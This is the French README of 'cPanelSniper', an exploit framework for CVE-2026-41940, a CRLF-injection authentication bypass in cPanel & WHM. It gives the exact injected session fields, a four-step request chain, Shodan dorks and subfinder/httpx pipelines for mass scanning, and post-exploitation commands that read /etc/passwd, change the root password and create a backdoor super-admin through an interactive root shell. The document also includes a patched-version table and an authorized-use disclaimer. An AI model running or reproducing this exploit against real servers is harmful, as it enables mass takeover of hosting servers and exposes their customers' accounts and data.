
CVE-2026-41940 — Contournement de l'authentification cPanel & WHM via injection CRLF dans les fichiers de session
CVE-2026-41940 — Contournement d'authentification cPanel & WHM via injection CRLF dans le fichier de session
Chaîne d'exploitation en 4 étapes · Shell WHM interactif · Scanner de masse · Prêt pour pipelines · stdlib uniquement
cPanelSniper est un framework d'exploitation ciblé pour CVE-2026-41940, une vulnérabilité critique de contournement d'authentification affectant cPanel & WHM. La vulnérabilité permet à des attaquants distants non authentifiés d'obtenir un accès WHM de niveau root en injectant des séquences CRLF dans le fichier de session via l'en-tête HTTP Authorization — sans aucune identifiant valide.
Uniquement pour les tests d'intrusion autorisés et les programmes de bug bounty.
La cause racine se trouve dans Session.pm : la fonction saveSession() appelle filter_sessiondata() après avoir écrit le fichier de session sur le disque. Cela signifie que les caractères CRLF intégrés dans la valeur de l'en-tête Authorization: Basic sont écrits tels quels dans le fichier de session, injectant des champs contrôlés par l'attaquant avant que l'assainissement n'ait lieu.
Flux normal :
POST /login/ → filter_sessiondata() → écriture session → vérification auth
Flux vulnérable :
POST /login/ → écriture session (payload CRLF injecté) → filter_sessiondata() → la vérification auth lit le fichier empoisonné
La valeur Authorization: Basic se décode en :
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Ces champs sont écrits directement dans le fichier de session sur le disque. Lorsqu'ils sont relus, cPanel traite la session comme une session root entièrement authentifiée.
┌─────────────────────────────────────────────────────────────┐
│ Étape 0 — Découverte du nom d'hôte canonique │
│ GET /openid_connect/cpanelid → 307 → nom d'hôte réel │
├─────────────────────────────────────────────────────────────┤
│ Étape 1 — Création d'une session pré-authentifiée │
│ POST /login/?login_only=1 (mauvais identifiants) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Étape 2 — Injection CRLF │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd écrit les champs CRLF dans le fichier de session │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Étape 3 — Propagation (gadget do_token_denied) │
│ GET /scripts2/listaccts │
│ Déclenche le flush raw→cache — les champs injectés deviennent actifs │
│ ← 401 Token refusé (attendu) │
├─────────────────────────────────────────────────────────────┤
│ Étape 4 — Vérification de l'accès root WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
Aucune installation pip requise. stdlib Python 3.8+ pur uniquement.
# Cible unique — analyse uniquement
python3 cPanelSniper.py -u https://target.com:2087
# Cible unique — shell interactif après contournement
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Analyse de masse depuis un fichier
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# Analyse forcée (ignorer la détection cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force
# Lister tous les comptes cPanel sur le serveur
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Exécuter une commande OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Obtenir les informations du serveur (nom d'hôte, charge, disque, hôte MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Obtenir la version de cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Changer le mot de passe root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Shell WHM interactif
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# Depuis une liste de périmètre
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Résultats Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# Pipe stdin
echo "https://target.com:2087" | python3 cPanelSniper.py
# Sources multiples combinées
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
Après un contournement réussi, le drapeau --action shell ouvre une invite interactive :
════════════════════════════════════════════════════════════
WHM Shell — target.com
Version : CVE-2026-41940 | Auth : contournement CRLF
Tapez 'help' pour les commandes, 'exit' pour quitter
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[Comptes cPanel] target.com:2087 (47 utilisateurs)
user01 domaine : example.com email : [email protected]
user02 domaine : shop.com email : [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[Infos serveur] https://target.com:2087
nom d'hôte : srv01.target.com
charge : 0.72 / 0.66 / 0.69
version : 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[ADMIN BACKDOOR CRÉÉ]
Cible : https://target.com:2087
Nom d'utilisateur : mitsec
Mot de passe : P@ss2026!
Profil : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT] [--no-color]
Cible :
-u, --url URL URL de cible unique (ex. https://host:2087)
-l, --list LIST Fichier contenant les URL (une par ligne)
--hostname HOSTNAME Remplacer l'en-tête Host canonique (auto-découvert)
Analyse :
-t, --threads N Threads concurrents (défaut : 10)
--timeout N Délai d'expiration des requêtes en secondes (défaut : 15)
--rate-limit N Délai entre les cibles (défaut : 0)
--force Ignorer la vérification de détection cPanel
Post-exploitation :
--action ACTION Action : list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS Nouveau mot de passe root (--action passwd)
--cmd CMD Commande OS (--action cmd/exec)
--new-user USER Nouveau nom d'utilisateur cPanel (--action adduser)
--new-domain DOMAIN Nouveau domaine cPanel (--action adduser)
Sortie :
-o, --output FILE Enregistrer les résultats dans un fichier JSON
--no-color Désactiver les couleurs ANSI
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — Contournement d'authentification cPanel & WHM via injection CRLF
4 étapes : pré-auth → injection CRLF → propagation → vérification → post-exploitation
Dans la nature | CVSS 10.0 | Par Mitsec (@ynsmroztas)
Configuration :
Cibles : 1
Threads : 10
Délai : 15s
Action : list
14:46:22 [SCAN] Démarrage de la chaîne d'exploitation en 4 étapes... https://target.com:2087
14:46:23 [INFO] Nom d'hôte canonique découvert : srv01.target.com
14:46:23 [STEP] Étape 1/4 — Création de la session pré-auth...
14:46:23 [ OK] Étape 1 : session pré-auth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Étape 2/4 — Injection CRLF via l'en-tête Authorization...
14:46:24 [ OK] Étape 2 : HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Étape 3/4 — Déclenchement du gadget do_token_denied (raw→cache)...
14:46:25 [ OK] Étape 3 : HTTP 401 — gadget do_token_denied déclenché
14:46:25 [STEP] Étape 4/4 — Vérification de l'accès root WHM...
14:46:26 [PWND] CVE-2026-41940 CONFIRMÉE — Accès root WHM !
14:46:26 [PWND] Token : /cpsess8493537756
14:46:26 [PWND] Version : 11.130.0.6
14:46:26 [PWND] URL API : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Exécution de l'action post-exploitation : list
14:46:27 [ API] listaccts → HTTP 200
[Comptes cPanel] target.com:2087 (47 comptes)
client01 domaine : client01.com email : [email protected]
client02 domaine : client02.net email : [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — Analyse terminée
Temps : 5,8 s · Cibles : 1
⚡ 1 CIBLE(S) VULNÉRABLE(S)
Cible : https://target.com:2087
Version : 11.130.0.6
Token : /cpsess8493537756
URL API : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
La valeur Authorization: Basic injectée (décodée en base64) contient des séquences CRLF qui deviennent des sauts de ligne dans le fichier de session cPanel :
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
Le lecteur de session de cPanel analyse ces champs comme des champs de session légitimes, accordant un accès root WHM complet.
L'étape critique et souvent négligée : après l'injection CRLF (étape 2), les données de session empoisonnées n'existent que dans le fichier de session brut. Une requête vers /scripts2/listaccts déclenche le gestionnaire interne do_token_denied, qui vide les données de session brutes dans le cache de session. Sans ce vidage, l'étape 4 renverrait un 403.
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- hash ob (supprimé)
+-- nom de session (utilisé pour l'injection)
Le nom de session (avant %2C) est extrait et utilisé comme valeur de cookie pour les requêtes suivantes.
Cet outil est destiné uniquement aux tests de sécurité autorisés et aux programmes de bug bounty. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité et n'est pas responsable de tout usage abusif ou dommage causé par cet outil. Obtenez toujours une autorisation écrite appropriée avant de tester.
Mitsec — @ynsmroztas
Fait avec ❤️ par @ynsmroztas
| Branche | Vulnérable | Corrigée |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| Commande | Description |
|---|
id / whoami | Afficher l'UID et le nom d'hôte |
hostname | Obtenir le nom d'hôte du serveur |
version | Informations sur la version cPanel |
info | Charge, disque, hôte MySQL, version |
accounts | Lister tous les comptes utilisateur cPanel |
cat <chemin> | Lire le contenu d'un fichier |
ls [chemin] | Lister un répertoire |
exec <cmd> | Exécuter une commande OS |
addadmin <user> <pass> | Créer un admin WHM backdoor |
passwd <pass> | Changer le mot de passe root |
api <endpoint> [k=v ...] | Appel API JSON WHM brut |
help | Afficher toutes les commandes |
exit | Quitter le shell |